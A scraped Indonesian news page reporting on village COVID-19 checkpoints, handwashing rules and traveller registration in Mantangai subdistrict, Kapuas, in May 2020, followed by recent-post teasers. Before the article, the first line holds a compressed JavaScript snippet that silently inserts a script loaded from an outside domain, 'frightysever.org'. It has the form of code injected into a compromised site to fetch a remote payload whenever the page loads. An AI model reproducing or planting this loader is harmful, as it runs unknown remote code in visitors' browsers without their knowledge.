(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Pejalan Kaki dan Pengendara Wajib Cuci Tangan, Kecamatan Mantangai Perketat Pengawasan


KANALKALIMANTAN.COM, KUALAKAPUAS – Pemerintah Kecamatan Mantangai, Kabupaten Kapuas, Kalimantan Tengah, cukup serius mengantisipasi penyebaran virus corona (Covid-19) di wilayah itu. Pengawasan di seluruh pintu masuk ke wilayah tersebut diperketat.

Salah satu pintu masuk menuju Kecamatan Mantangai, tepatnya di desa lamunti, petugas melakukan sistem pemeriksaan menyeluruh. Mereka melakukan pengecekan kendaraan atau penduduk yang hendak masuk dan ke luar wilayah Kecamatan Mantangai, Kamis (14/05/2020) sore.

Camat Mantangai Yunius Tunggal, mengatakan, hampir semua desa di wilayah kecamatan mantangai ini sudah dibangun posko terkait pencegahan pandemi covid-19.

“Yang terpantau sudah ada 10 desa yang sudah mendirikan posko desa. Yang wajib itu di pintu -pintu masuk. Seperti di Desa Bukit Batu, Desa Lapetan, Desa Muroy Raya juga Desa Danau Rawah sudah ada posko. Begitu juga di beberapa titik penting lainnya, pintu masuk dari wilayah selatan kecamatan ini,” beber dia.

Yunius menambahkan, kegiatan yang dilakukan petugas di posko merupakan salah satu upaya untuk mencegah masuknya Covid-19 di wilayah Kecamatan Mantangai.

“Baik pejalan kaki maupun yang menggunakan kendaraan, wajib turun untuk mencuci tangan menggunakan sabun cuci tangan yang disiapkan petugas. Dan bagi warga pendatang baru atau pelaku perjalanan, wajib mengisi data terkait identitas diri dan riwayat perjalanannya, dan harus jujur dengan petugas. Misalnya dia datang atau pulang dari mana dan tujuan ke mana. Data-data dari posko desa kemudian dikirim ke posko kecamatan, yang selanjutnya diteruskan ke posko kabupaten di Kapuas,” ucapnya.

“Hendaknya masyarakat bisa menjadi polisi untuk dirinya sendiri. Masyarakat wajib hukumnya untuk menaati himbauan protokoler Kemenkes RI, Maklumat Kapolri dan Surat Edaran Bupati Kapuas, Pelaku perjalanan harus dikarantina selama 14 hari dan melakukan Pola Hidup Bersih dan Sehat (PHBS),” ujar dia. (kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Dhani

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

9 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

12 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

12 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

14 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

16 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

17 jam ago

This website uses cookies.